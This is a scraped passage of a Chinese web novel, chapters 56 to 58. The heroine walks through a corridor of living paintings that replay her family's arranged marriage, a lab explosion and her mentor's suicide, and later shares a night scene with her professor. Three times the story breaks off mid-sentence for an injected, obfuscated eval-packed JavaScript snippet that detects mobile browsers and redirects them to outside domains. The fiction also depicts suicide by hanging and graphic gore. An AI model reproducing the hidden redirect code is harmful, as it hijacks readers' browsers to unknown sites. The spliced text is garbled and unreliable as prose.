她的父亲很英俊，是很少见的那种英俊。即使人到中年，岁月磋磨，他的风姿依旧不减。 他听后，没什么感情地轻笑一声，开口道：“作为你的父亲，我自认为对你了如指掌。你很天真，很感性，总是坚信梦想与爱是支撑人活下去的动力……或许我们的家境更富裕一点，你真的可以当个一位小公主，站在世界的中心呼唤爱。但很可惜，你傅秋语没有这个资格。” “这个世界建立在利益之上，被金钱驱动 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父亲似乎有些破防了，但为了本次来的目的，他不得不按捺下自己的脾气，深深地吸了一口气，缓缓地从西装口袋中掏出一个黑色的首饰盒。 打开，里面是一枚做工精致的绿宝石镶金的胸针。 他将首饰盒从铁栅栏网格中递过来：“他知道你喜欢珠宝，所以特地买下来送你。” 小语皱了下眉。 【他】是谁？ 她拿起那个首饰盒，端在手里端详。 傅爹：“虽然你毁了婚约，但那孩子还是喜欢你。如果你肯回头……” 她面无表情地将首饰盒掷出，像是在扔一文不值的垃圾，首饰盒狠狠地撞在墙上，胸针随之跌落，发出清脆而刺耳的声响。 男人勃然大怒，拍案而起，怒斥道：“我警告你，傅秋语！这婚事已经定了，不容许你不同意。” 小语：“……婚事？” 她抬起冷漠的眼睛，似是困惑，似是觉得恶心，她站起来，看着栅栏对面的父亲。 铁栅栏的网格将父亲的脸切割成一片一片，她的思绪似乎也随之碎裂。 小语昏暗的眼底照进苍白的光…… 啊……那是什么？ 破碎的镜子……每一块碎片的边缘都带着血，每片镜子上都是她……她碎裂了吗？还真是，从小到大，不同阶段。 ……房粱上的那截绳子为什么在一直晃？嘎吱嘎吱的，声音好吵。 好多颜色……好恶心……这个世界的颜色是有意义的吗？红色为什么被叫做红色，蓝色为什么应该被叫做蓝色？血肉的颜色为什么是红的？火为什么是红的？灾厄为什么是红的？ 镜子碎了，一片完整的镜子碎了。 人无法变成鸟，所以把羽毛拔光，这个世界上没有不死鸟，只有会死的人。 爱是假的，恨是真的，理想是假的，背叛是真的。 报复他们，报复他们，让他们付出代价！让他们再也无法拥抱所爱之人，让他们的余生被恐惧笼罩！ 他们在哪里？他们在哪里？他们在哪里？ ——我到底在想什么乱七八糟的？【他们】是谁？ ——我……是谁？ ——啊……想起来了。我是小语。 她破裂的思绪被一双手粘了回去，她茫然地对父亲说：“你在说什么？我什么时候有婚约了？莫名其妙……我走了……” 56.056 她跌跌撞撞地走出探监室。平静的神情，惊惶的脚步…… 她冷静吗？她还记得吗？ ……不知道，她仿佛失去了所有感知，连自己的心情和思绪都无从捕捉，唯有疼痛，如利刃般刺入肌肤，直抵骨髓。 理性的尽头是疯狂还是沉沦？人心承载的极限被突破后是释然还是我执？幻梦，真实，痛苦，快乐……用幻梦抹去痛苦，至此真实即为幻梦。 虚弱无力的日光如旧日的灰尘盖在她的身上，窒息化为焦热的黑色向四周灼烧。 她在地上留下一串血红粘连的脚印，每走一步都拉出血丝发出黏稠的声音，一股什么东西烧焦后的恶臭和肉香弥漫在空气中。 她背后长出了一对奇怪的东西，漆黑的，怪异的，瘦长的，似乎是某种腐烂的皮肉组织，被坚硬而细长的骨骼支撑起，腐烂的血肉中流出恶心的黑色脓水。 她茫然无知地向前走着，毫无目的地向前走着，走过广场，炙热的黑色将万物化为灰烬，连路过的人都被吞没在黑色中间。 她经过的地方留下了蜿蜒如河流的脓水，曲曲绕绕，在坚硬的石板烙下美丽而肮脏的腐蚀的痕迹。 穿过广场，走进大楼，光线穿过穹顶的彩绘玻璃投下了炫目的彩光。 丰富多彩的几何结构印在深红的地毯上，她无知无觉地踩到光斑上，随后突然之间，彩色的几何图形仿佛活了过来，喷涌出绚烂的瀑布，犹如蝴蝶翅膀骤然展开，肆意挥洒地向她身后的世界，同时也慷慨地洒落在走廊两侧的画作上。 定格的画作忽然获得了某种生命力，在画框中活了过来。 蓝天白云下，一条农村土路以黄金比例分割画作的空间，路的两边生长着高大的橡树，阳光将树叶与土墙照成艳丽而多彩的绿与黄，一个农村妇女从土路的尽头走过来，走到橡树下，走到画作前，趴到画框上。 她憨厚淳朴的脸上挂着两坨高原红，颜料斑驳而规律地在她棕色的皮肤上勾勒出一道道花一样的皱纹，她粗糙有力的手掌搭在画框上，她敲了敲画框，操着一口乡下土话，喊着从走廊对面画框中冒出来的妇女：“诶，那家的！你听说了吗，傅家男人回村了。” 画框对面的妇女坐在金黄的草垛上，用搭在脖颈上的毛巾擦拭汗水，她同样用土话回道：“那么大阵仗，谁家不知道啊。别说，这家人到底是阔过，有那个赚钱的脑子。当年出了那档子事，都以为这家废了，哪个晓得才过了十年就把债还了，二十年后又把钱赚回来了，还比当年更发财，人和人不能比啊……” 小语还在向前走，她拖曳着身后绚丽而辉煌的色彩的世界，一步一个血印向前，每经过一幅画就有一幅画活过来。 画作从印象派变成古典油画。 手持权杖的英俊男人对跪在脚下的朝拜者说：“这个世界只有两种人，牧羊人和羔羊。想要成为牧羊人，就要把眼泪和良心当作身体的肿瘤切割出去，把狠辣无情当作赖以生存的血液。” 鲜红的背景幕布动了动，幕布后探出几张少女羞红的脸，她们交头接耳，以爱慕的眼神看着男人。 他抬头，看向画外的世界：“傅秋语，你要记住，被欺凌是因为你弱小，摆脱不了阴影是因为你软弱。你不强大，就只能当待宰的羔羊。” 昏暗的牢房中，面色如墙皮一样的女人颓靡地坐着，她说：“爱一个人，你就会被背叛。爱一件事，你就会厌弃它。傅秋语，放弃没有价值的理想，成为牧羊人吧。” 年幼的女孩趴在草垛上画画，黝黑的皮肤和枯瘦的四肢像干柴一样，在她的身后是农忙时节的稻田，画册上飞出火红的小鸟，绕着她飞。她既快乐又悲伤地落下眼泪，然后将画册撕碎。 觥筹交错的宴会，一张桌上的人神态各异，有谄媚，有活跃，有麻木。他们举杯交错，似乎在庆祝着什么，但每个入眼底的算计和戒备难以掩饰。 穿着深蓝礼服的卷发女人坐在最角落，她面前的红酒一口未动，像个局外人，冷眼看着眼前的热闹而无动于衷。 接下来的是一幅抽象画。 一个绿色和蓝色的几何形状的人站在星空下，天上的星星比他们的头还大，如一颗颗待摘的硕果。 绿色的几何人说：“一旦这个实验项目成功，整个时代都会因我们改变，技术的迭代会惠及每一个普通人！” 蓝色的几何人说：“但是人类自古以来，最稳定而长久的产出，就是贪念。我来这里有段时间了，以我的观察……我对您的愿景持悲观态度。” 绿几何人叹了口气：“哎……我知道现在谈这些还太早了。别人那里还有更好的项目，它们商业价值更高，市场很看好，你可以……” 蓝几何人说：“……不，我加入您的团队。我想见证您的理想，能走多远。” 接下来的这幅画十分清冷。阴雨如厚重的帷幕，笼罩着整座城市，昔日车水马龙的大道上，如今仅有一辆救护车在寂寥中穿梭，伴随着急促的警笛。 道路上，随处可见的路障如一道道伤疤，诉说着那似乎已经被人遗忘的往事。而一片口罩，宛如时代的砂砾，从画中缓缓飘落于画框之上。 下一幅画还是古典油画。 穿着艳红华服的美丽女人坐在画面的中心，她的表情涌现出强烈的痛苦与不甘。年华已衰的母亲在她的身侧，俯身将一枚镶嵌着祖母绿的戒指戴在她的手指上。她们的身侧花团锦簇，但鲜花的边缘已然枯萎。 华服的女人：“我不同意，你们这是牺牲我的婚姻来成全你们！” 母亲说：“疫情让我们家的多少项目胎死腹中，多少钱砸出去又付诸东流。你不是不知道，家里现在情况不好，难道你想再回到以前的苦日子？这孩子我们看过，你也相处过了，嫁给他你不吃亏，我们家的生意也能得到保障，这是双赢的局面。” 华服女人：“家里已经穷死了吗？已经揭不开锅了吗？那种没有担当、没有脑子的蠢货亏你们能夸得出口！再大的家业落到那种人手里迟早被败光，这就是你们给我挑的丈夫？！” 母亲：“他没用正好，你取他而代之。”她迟暮的脸上露出冰冷的笑容：“男人以暴力征服世界，女人以眼泪征服男人，继而掌握世界。傅秋语，女人其实很柔弱，很弱势，这个社会到处都在说女权，但是没有人真的在意女人的生存环境，女人们就像羊群一样，被驱赶到极为狭窄的领域。所以……我们要想办法，想办法抢夺被男人挤占的资源，我们要当那个牧羊人。” “这个世界上没有爱情，包括我和你父亲之间也没有爱情，但我们都爱着你，这一切终究会交到你手上。婚姻的本质是利益交换，这就是抛开一切糖衣伪装的现实，你得学会接受。” 她温柔地抚摸女儿妆容精致的脸，无视女儿被气得不断起伏的胸口：“你看，你的容貌和你的知识，都是你有力的武器，我深信，你能将他们玩弄于股掌之间。” 女儿痛苦地问：“……那我呢？你们问过我，我喜欢这样吗？我只想过平静的、普通的生活，不是每天一睁眼就要去算计别人。在你们眼里，我究竟是人，还是筹码？” 小语的脊背佝偻下来，她开始呕吐，强烈的恶心令她的胃剧痛。 下一幅画，变得很热闹。 女人依旧身着鲜艳的红色华服，依然是画中的主角，但此刻她手持利剑，剑尖直指对面的年轻男子。 她的身后空无一人，年轻男人的身后站着她的父母与无数中年男女，他们愤怒地说着什么。 鲜花落了满地，花瓣掩盖了红色的婚书，那枚祖母绿戒指被扔到男人身上，随后落到地上，成为残花中的一片绿叶。 退掉婚约，麻烦接踵而来。 女人不再身穿锦衣华服，她衣着朴素，房间凌乱，面容憔悴。她瘫在椅子上，昏黄的灯光包裹着她。 一边是山一样高的资料报告，一边孤零零地放着一份处罚书，上面说她多次工作分神导致损失，故而行政予以处罚。 手机不断震动，但她没有接，来电显示是：爸爸 桌子电脑屏幕上贴着一张便利贴，上面写着：按时吃药，早点睡觉。——陈革 下一幅竟然是拼在一起的九宫格图，整个长廊唯一的，也是最大的一幅组合情景画。 第一张是工人如火如荼地工作，身穿研究服的女人一手拿着蓝色的文件夹，另一只手掐着仪表，时刻观察。 第二张图中，她突然接到了一个急促的电话，电话那头传来一个低沉的声音，约她即刻前往基地外，有重要事宜需紧急面谈。 第三张图，她把仪表交给工人，急匆匆地赶赴基 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14601266|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地之外。 第四张图，工人们闲散地互相调笑，将仪表放在了一边台架上，没有人注意到，仪表的指针忽然急速波动，从白底区域滑向红底区域。 第五张图，休息完的工人继续工作，一个工人和旁人说着什么，忽然他抬手，金属表带擦到钢制的管道，溅出火花，然后—— 第六张图，基地的上空，一朵白色的蘑菇云缓缓升起，紧接着，一系列爆炸如同猩红的花朵，在蘑菇云的映衬下绽放。 第七张图，爆炸气流向四周急速扩散，地块震荡，建筑崩塌，穿着研究服的女人与基地外的其他人一同躲进附近的防护设施中紧急避险。 第八张图，她不可置信地看着监控中的画面，不断地摇头后退，拒绝接受现实。最后她踩到了工具，一个踉跄摔倒在地，她抱着头痛哭，长期的压抑在面对陡然降临的灾难时，全都化作苦楚的眼泪，来祭奠她随着灾厄到来而被彻底摧毁的人生。 第九张图，受难者的家属打着横幅在总部外面集结，他们悲愤的泪水与通红的脸就此定格，此情此景已经无需多言。 九宫格结束，长廊已经走到尽头，在她面前的，只有最后一幅画。 冰冷的蓝色，深蓝与浅蓝交织，那是一个孤寂、空旷、寒冷的房间，一截绳子悬在房梁上，绳子绷得笔直，并且在轻微地左右晃动，木质的房梁发出嘎吱嘎吱的声音。 尽管画面中没有展现出来，但从绳子的状态就可以推断出，下面吊着重物。 一张纸飘出画面外，落到地上。 小语无知无觉地踩着纸走了过去，一路跟在后面的小鱼飞快地跑过去捡起来，甩掉上面的脓水。 还好还好，还能看清字迹—— 【给秋语： 当你看到这封信时，我已经带着所有遗憾与罪孽，释然地离去。感谢你近期为我这个老头四处奔波，辛苦了，但从今天起，你可以轻松一些了。 没有人逼迫我，是我自己选择了这个结局。 临别之际，往昔种种在头脑中掠过，我回想起我们初次见面时，你曾对我说，这个项目无法成功。事实证明，你是正确的。 你一眼便看到了结局，是我沉浸在固执的幻想中，以为靠我一己之力就可以改变一切，直到面对结局时，才如梦方醒，追悔莫及。 好好活下去，忘掉那个失败可笑的婚约，你还年轻，未来还很长。我这个固执的老头，白费了你六年宝贵的光阴，现在我带走一切，把未来交还给你。 记得按时吃药，早点休息，少吹风，保持好的心情，你的头疼会缓解的，一切都会变好。 ——你的导师陈革】 小鱼看完最后一个字，难以言喻的苦闷如潮水般涌上心头，紧紧挤压着他的心脏，仿佛要将它压碎、捏紧，最终，痛楚凝成一滴泪，悄然滑落。 他茫然地摸着自己的脸。 为什么，他要流泪？ 未婚夫不是他，按理说，他应该感到高兴，毕竟这是一个好消息。然而……然而…… 看着如此痛苦的她，他不知道为何也感受到了巨大的、足以摧毁他自身的痛苦。 走廊尽头的小语似乎再也支撑不住，颓然地跪倒在地。彩色的世界慢慢地消失，画作逐渐失去生机，变回原来的样子。 在她身后，那对漆黑而怪异的物体动了，折叠的骨骼张狂地展开。直到此时，小鱼才意识到，那是一对翅膀——一对腐烂的、没有羽毛覆盖、仅由干枯的皮肤组织和腐肉构成的巨大翅膀。 她痛苦地蜷缩起来，泪水如细小的河流般，从她的眼中涌出，流淌进他的眼里，渗入他苦涩的心中。 男孩似乎想起了什么，似乎又什么都没有想起来，那种肌肉记忆又出现了，他冲上去抱住了女孩，任由炙热的黑色灼伤皮肤。他在这一刻感觉到了虚妄而莫名的幸福，仿佛与她共感痛苦，是一件值得欢悦的事。 他捧起她的脸颊，小心而轻柔地为她擦拭泪水：“忘记吧，忘记吧，抹除记忆，一切归零……直到你的心强大到，能够再次承载一切。” 女孩瞪大了眼睛，微褐的眼瞳剧烈颤抖，不知道是惊讶于他为什么在这里，还是已经痛苦到只能做出这个表情了。 随后，空间再度碎裂、重组。这次，他们一同落入了深渊—— 57.057 萤火虫。 萤火虫在飞。 一只弱小的萤火虫，在无垠的黑暗中，盲目地徘徊。 那微小而黯淡的绿光，在浩瀚的黑暗中显得如此无力，仿佛随时可能被那黑暗深处的恶意无情吞噬。 男人顿足。 他疑惑地想，自己究竟是那微小的萤火虫，还是那吞噬一切的黑暗呢？ “嘀嗒——” 干燥的风吹过皮肤，沙子和血的味道涌入鼻腔。 “嘀嗒——” 他做这些事有意义吗？ “嘀嗒——” 但是，激烈的恨在化作烈火在胸膛灼伤，如果不做些什么，那恨意势必要将自身焚烧殆尽。 “嘀嗒——” 啊，好吵，什么声音一直在响？ 萤火虫不停地飞舞，在黑暗中漫无边际地徘徊，最终缓缓降落在一只惨白的手掌上。 一只惨白的断手。 萤火虫以为自己找了个合适的落脚之地，快乐地颤动翅膀，它幽绿的光照亮了地上的血泊。 于是那暗色的深红中，也亮起了小小的绿色。 那只手泡在血泊中，一把小巧的枪还握在手掌中，但手的主人已经再也没有开枪的机会。 似乎是觉得自己落脚地的硝烟味太重，萤火虫又舞动翅膀，随着光线移动，更多残肢从黑暗中显现，最终，那只愚笨的萤火虫飞向了男人的匕首，撞在了它的锋刃上。 啪。 这团小小的光终于被黑暗中的恶意吞噬。 男人终于明白，原来自己是那黑暗本身。 萤火虫携着最后一缕微光，与他刀尖上的血一同黯然陨落于猩红的血泊。 男人冰冷的嘴角扯出一个近似温雅的微笑。 他对那一地的碎块说：“喜欢这个结局吗？这是你曾经最爱的……对待[@][#][%]的方式。” 血，再次滴落。 黑暗中，隐约飘来一曲故乡的歌，但歌声实在算不上动听。 “如果你的掌心钻出一尾鱼 请用爱欲燃烧它的尾鳍 用月光编织银色的网 再用珊瑚打造华美牢房——”* ……好沙哑，好低沉的声音，但是，听着歌声的他，那时刻灼烧着恨意的心，忽然拥有了片刻的安宁。 歌声停了。 一瞬间，足以媲美死亡的孤寂淹没了他。为什么不唱了？不要停……即使只有声音陪伴他也好。 “小鱼～小鱼～你在哪里？” 那声音又出现了，只不过没再唱歌，而是在呼唤一个陌生而熟悉的名字。 在……呼唤他吗？ 一只发着光的蓝色蝴蝶，从他的衣服里飞出去。 多美的蝴蝶……流光溢彩，摄人心魄。 是你吗？是你在呼唤我？……别去，别离开……你也怕我吗？ 男人下意识抓住，随后，他脚下一空，不可控制地向后倒—— “哗啦——！！” 小鱼从噩梦中惊醒，睁开眼睛。 一睁眼，他就看到头顶距离自己越来越远的水面与剧烈翻滚的气泡。在他手中，抓着一只蓝色的蝴蝶结。 小鱼：“？” 什么东西，莫名其妙……他之前身上有这东西？ 一阵怪异的水流波动扰乱了他的思考，他回头一看，看到小语在水中无助地挣扎了几下，随后便沉了下去，身影逐渐模糊在水底的黑暗中。 他毫不犹豫地潜入水底，将她抱住，然后游向水面。 等他带着小语爬上岸，他这才发现他们原来是掉到池塘里了，至于为什么会掉入池塘……奇怪？他怎么一点印象都没有？ 小语还昏迷着，他来不及想这些，他将她的身体放平，抬高下颚，用力地双手按压她的胸膛。 没有反应。 继续按。 还是没有反应。 小鱼捏住她的鼻子，花了一秒钟做心理建设，然后俯身……和小语四目相对。 “噗！！！”小语咳出来的水喷了他一脸。 小鱼闭目：“…………” 小语：“咳咳咳！咳咳咳咳咳！你……咳咳咳！！”她艰难地翻了个身，伏在地上咳水，咳得满脸通红，咳得眼角生理盐水都憋出来了。 小鱼额角爆出一根青筋，面无表情地用手里吸饱了水的布料擦脸，定睛一看……怎么还是这个蝴蝶结？？ “对……对不起……咳咳咳咳！”女孩手忙脚乱地爬起来用脏兮兮的手给他擦脸，小鱼十分嫌弃往后仰，躲开她的爪子，随后溜到池塘边洗脸。 “啊啊啊啊啊啊——” 好奇怪的声音，小鱼抬头，这是什么声音？好像是什么奇怪的仿佛在练声但是练不好练得断断续续的声音？ 那声音还越来越近了，他回头一看—— “啊啊啊啊啊啊啊啊啊！”戴着粉红兔耳发带的女孩从远处疯跑过来，她好愤怒，她的眼睛里燃烧着两簇小火苗。 她跑过来强势挤到小鱼和小语中间，叉腰对正在洗脸的小鱼说：“你不许和她跳河，因为她已经答应和我一起跳楼了！懂不懂先来后到啊你个臭小三！” 小鱼：“？？？？”他战术后仰：“你们玩play不要带我，和我没关系！” 这个世界已疯狂，尤其是小语和昭昭，他迅速后撤，留给她们一个安静的空间，以便她们可以商讨如何更优雅地实现自由落体的死法。 他被创亖了，彻彻底底地亖了。 他连滚带爬地拿起自己的扫帚，去离她们最远的地方扫地，生怕沾边。 “阿嚏！” 呃。 他看了看自己湿答答的衣服，再看看逐渐黑沉的天。还是先回去换衣服吧，地什么的……又没给他钱，还是明天再扫吧。 话说……他俩到底为啥掉到池塘里？被妖风刮过去的？像“自己吓～自己～啊——”被推进去的？谁啊臂力这么好，把他们推这么远？ 晚餐没看到小语，倒是看到了昭昭打了两份饭。 不是关心，只是单纯好奇，没有嘴硬，但是万一她病了明天他不是得一个人去扫地？那不行，不能便宜她。 他上前问小语去了哪里。 昭昭看他鼻子不是鼻子，眼睛不是眼睛，一会儿用恶婆婆看儿媳的眼神，一会儿用看闺蜜的傻叉男友的眼神，一会儿又用看渣男的眼神，总之横竖就是充满了不爽和敌意。 昭昭从鼻子里发出MC村民的哼哼声：“她啊，在医务室，不过她在休息，你别去烦她。” 说完她仰着小脑袋，像个粉红兔中的king一脸不爽走开，边走还边骂骂咧咧地碎碎念：……这小子有什么好的……可恶……你们又不可能…… 小鱼：她到底在说什么？ 行吧，既然在休息，就晚点去看她。反正十点才宵禁。 九点。 小鱼来到了医护室，发现医护室没有人，他问值班的医生，医生说她被陈教授喊走了，现在应该在他办公室。 大半夜地喊小女孩去办公室？？ 小鱼立刻目露寒光，顺手就摸走了医务室的水果刀。 早听说教会变态多，就喜欢小女孩小男孩，老登别欺负小姑娘手无缚鸡之力你等着我马上来刀你。 陈教授的办公室在一楼，很好找。宵禁时间快到了，楼下房间都已经关灯，只有那间办公室的灯还亮着，暖色的灯光从门缝间泄漏出去，如一片落入黑暗的金色帷幕。 门内的对话从门缝间隐约传出来—— “老师，你听什么曲子？” “都可以。” “放莫扎特的唱片，还是海顿？” “海顿。” “你平时不是都听摇滚吗？最近怎么口味变这么多？” “咳……你怎么知道？” “每次班里放音乐，放到摇滚乐的时候，你的嘴角会往上提个一毫米。再加上你每次独自工作时都会戴耳机，别人进来喊你你都听不到，而且你最近听力下降严重，是听重金属摇滚乐听的吧？” “……”房间里沉默了。 但那份沉默很轻松，没过多久，这对师徒就笑了出来。 小鱼眨了眨眼，门缝中泄漏的光芒终于照进了他的眼底。他将水果刀收了回去，随后，悄然离开，隐没于黑暗中。 办公室中，小语将唱针轻放到旋转的唱片上。 安宁祥和的小夜曲，从唱片机缓缓流淌出来，如同夜风中轻柔的呢喃。旋律在空气中回旋，一丝丝甜香悄然织入这片空间。 陈教授的茶端上来了，颜色古朴的高档茶具，明润如玉，但装着奶茶。 这位先生，高大严肃，一脸清正，举手投足间尽显学者风范，仿佛把“高级知识分子”这几个字焊在他身上，然而他的保温杯里从来没装过奶茶之外的东西。 小语坐在自己常坐的位置上，晃着脚吐槽道：“有时候我觉得您比我还像年轻人，又爱摇滚乐又爱奶茶，这对于你这个年纪的学者而言有点小众了。” 陈教授微笑：“只是每个人放松的方式不一样。也很少有年轻人喜欢古典乐。” 小语闻了闻递过来的奶茶，说：“味道不对。” “什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617580|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” “香味不对。这个房间里的香气，除了奶味还有一股蛋糕的香气……” “乱说，你什么时候鼻子这么灵敏了？” 她露出死鱼眼：“难道我非要说实话吗？王大妈今天又跑来语重心长地教育我，说小孩子要少吃点甜食，否则蛀牙了要哭鼻子。老师你又用我的名义去食堂要小蛋糕吃哦！” “蛋糕呢？我也要吃。” “呃咳……！”他移开视线，镇定自若地说：“甜食和夜晚很搭。” 小语死鱼眼：“和心脑血管糖尿病也很搭，老师你年纪不小了，少吃点甜食。” 陈教授断然拒绝：“不。” 学者将冰箱中的蛋糕端出来，分给学生一小块，倒不是小气，他知道小语不喜欢吃甜食，只是单纯地不满意自己只背黑锅没有好处，故意和他讨要的。 一大一小师徒二人坐在桌子的两端安静地吃小蛋糕，唱片机偶尔会冒出一点杂音，或许是黑胶上有划痕的原因，但并无大碍，或许正是这种不经意的瑕疵，才是唱片有别于数字音乐的魅力与仪式感。 小语抬头望向窗外，夜色如墨，萤火虫在树林中飞舞，像是在黑暗中飞舞的星辰。 “老师，您喊我来，不只是为了请我喝奶茶吧？”小语突然发问，打破了房间的宁静。 她倒是不拐弯抹角，直奔主题。 陈教授放下茶杯：“和你起争执的那个男孩，来历我查过了。” 小语：“哦？” 陈教授：“但是只查到了一天前的消息，也就是昨天，在被人带到这里之前，有人看到他从墓地出来。在那之前，没有人见过他。” 小语：“……妈呀有鬼！这是个恐怖故事吗？！” 陈教授无奈道：“我们要相信科学，子不语怪力乱神。” 小语：“但我们这里是教会，不但有鬼还有神哦？” 陈教授：“敬畏真正的鬼神，反对臆想鬼神。” 小语撇嘴。 陈教授：“他刚出墓地，第一个就遇上了你大姨，他向她询问你的下落，结果被当作异端，被扭送到了这里。” 小语：“啊？……不是？”她迷茫地张大了嘴，“……啊？？？” 她一时间不知道该震惊，还是该困惑，她挠头：“……人真的可以倒霉成这样？他原来不是来找我茬的？他真的失忆了？？” 陈教授脸上涌现出一丝笑意，他说：“我要告诉你的就是这些了。我看你们之间有些误会，能解开最好。但究竟怎么做，你自己决定就行。” 宵禁时间要到了，小语没聊多久就走了。 出门后她一直在想小鱼的事，直到上楼时，她眼尖地发现有个黑黢黢的人影趴在楼道的扶手上，楼道的窗口泄露下一丝光亮，隐约勾勒出那人的轮廓。 那双浅色的眼睛在黑暗中静静地盯着她，幽亮幽亮的。 她吓得一哆嗦，下意识后退，结果忘记了自己在楼道上，一脚踩空，整个人直接向后栽倒。 那人影也是反应极快，三两步上来拉住了她的手，硬是又给她了拉回来。 “哎哟！” 但是用力过猛，他俩的头直接撞到了一起，呯得好大一声，两人疼得抱头蹲下，捂着脑袋上新鲜出炉的大包痛呼。 小语大怒：“你有病啊！大晚上的不回房间蹲在这儿干嘛？吓我一跳！……啊，是你？” 他俩蹲着的位置正好有光，借着光她终于看清了他的脸。 小鱼又火大又委屈地说：“我去医务室找你，医生说你在这儿，我就直接找过来了啊！但是你们在说话，我不好打扰，只好在这里等你。” 小语：“……这样啊。你找我什么事？等很久了吗？其实你可以直接进去的，还能蹭奶茶喝呢。” 小鱼：“不要，晚上吃甜食小心长胖。” 他不自在地挠了挠脸颊，“也就……没什么事。就……听说你来医务室，以为你生病了……不是关心，就万一你生病了……明天我要自己去扫地，那我就太倒霉了。” 小语没有说话，眼睛眨啊眨地看他。 小鱼忽然发现，她的眼睛在月光下亮亮的，像有小星星在眼睛里闪。还……有点可爱？ 小语没有对他的嘴硬发表任何评价，也没有戳穿他，她直接问了另一个问题—— “你真的失忆了吗？你除了我，真的什么都不记得了？” 小鱼脸色一沉，猛地起身，扭头就走。 一点都不可爱！ 他刚刚一定是被月光糊了眼睛，居然有那么一瞬间觉得这个讨厌的小语有点可爱，他一定是有病！ 58.058 “诶？”没想到他会忽然生气，小语愣了下，连忙站起来拉他：“你等等——嘶！” 一阵剧烈的疼痛从脚踝处袭来，她的手一僵，小鱼的衣袖像一尾滑溜的鱼儿从她手中滑脱。 她单脚跳到扶手旁，弯腰揉着脚踝。 小鱼已经不在楼道里了，走得还真快。 ……倒霉，刚刚一脚踩空的时候扭到了。 这倒霉孩子干嘛非要站在黑灯瞎火的楼道上等人，知不知道人吓人会吓死人的啊！这下她也成倒霉孩子了，悲！ 揉着揉着，眼前光线一暗，这个走路没声音的家伙不知怎么又回来了。 抬头一看，男孩双手抱臂，眉头紧蹙，嘴角紧绷，一脸不高兴地问：“你脚扭了，怎么不叫我帮忙？” 小语：“你不是生气走了吗？” 小鱼：“走了就不能回来吗？我长的是腿不是没转向的轮子，轮子还能向后倒呢！” 小语低头，继续揉脚：“但我一个人也不是不行，只是走得慢一点。宵禁时间要到了，你回去吧。” 小鱼不可置信地看着她，肉眼可见地更生气了：“……不要帮忙算了，我还懒得带你。” 说完，他气鼓鼓地又要走，小语把他喊住：“等一下。” 他嘴角一扬，转头道：“这么快就后悔了？就知道你——” 一个瓷白的小罐递到他眼前，药膏的清香若有若无地飘过来，钻到他的鼻腔里。 小鱼：“这是……？” 小语：“我看你脸上的……”她的目光扫到男孩的脸，不敢多看自己的杰作，不自然地移开视线，“……牙印一直没好，就和医生要了药膏，你拿回去涂吧……呃，不过现在还能再涂个包。” 她露出死鱼眼，一脸怨念地揉了揉额头。 她有足够的理由怀疑这人和她八字不合，她平时好好的没病没灾，怎么一遇到他就又关禁闭又掉到水池里，还又撞头又扭脚的？ 结合他的来历…… 她悟了！这是墓地里爬出来找她索命的男鬼！（不是） 拿了药膏赶紧走赶紧走，退退退！ 哎呦她真的好倒霉…… 男孩嘴唇逐渐从绷着的直线变成一个撅着的倒圆弧，不知道为什么看着有点委屈，还……有点可爱？ 小语看了看窗口，应该是光线太暗的原因，不然她怎么会生出这种错觉？男孩子会露出这种表情？不能够的吧？ “呃，你倒是把药拿走？手一直举着很累的……”小语不确定怎么和生气状态的人交流，便谨慎地观察着他的表情，试探性地说道。 男孩的嘴噘得能吊个茶壶，看着越来越不爽了，见小语还是一脸无动无衷的样子，他终于忍不住了，直接伸手抓住小语的手腕。 ——好细的手腕。 就算是同样的个子，男孩和女孩的骨骼到底还是不一样。 小语的手抖了一下，她下意识地想把手抽走，然而当她发现自己无论怎么都解救不了自己的手的时候，她的表情立刻就变了。 那张总是平淡地毫无情绪起伏宛如一具安详的尸体的脸上——忽然露出了相当恼怒的表情。 简直像是一只路过忽然被人揪着后颈拎起来逆着撸毛的猫，眉毛都竖起来了，要是她长了尾巴，说不定此刻尾巴上的毛都是炸的。 这人平时一脸乖乖女的样子，可一旦遇到什么事，那骨子里的唯我独尊马上就暴露了。 她抬起下巴，目光发冷，语气也硬了起来：“都说了我自己能走，你别拉我，放手！” 谁知道小鱼和她犟上了，“我就不。” 他不仅没有放手，反而转过身去，手上一用力，小语就被带到了他的背上。他甚至抓住了她的另一只手，让她环住自己的脖子。接着，他捞起她的腿，将她背了起来。 小语直起身子，抗拒地拉开距离。她满脑子问号，不是哥们你干嘛？我和你很熟吗？ 疑惑的同时，一种难以言状的焦躁涌了上来。她恼怒道：“你这人有毛病吧？自顾自的生气，又自顾自的背我，我又没有要你帮我——” 小鱼：“我还以为你不会生气。” 小语：“……什么？” 小鱼：“我吓到你，你不生气。我害你受伤，你不生气。我还害了你关禁闭，害你受罚，你还是不生气，还惦记着我的伤，帮我带药……但为什么我来帮你，你就生气了？” 小语：“那、那是因为……” 她卡住了。 从来没有人问过她这种问题……而且人本来就要控制自己的喜怒哀乐，不然人和动物有什么区别？——除非忍不住。 他这么一说，显得无理无闹的人好像是她一样。 小语狠狠打了他一下：“因为你莫名其妙！人家好好的问你问题，你干嘛忽然生气，忽然走开，又忽然回来？” 小鱼也很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 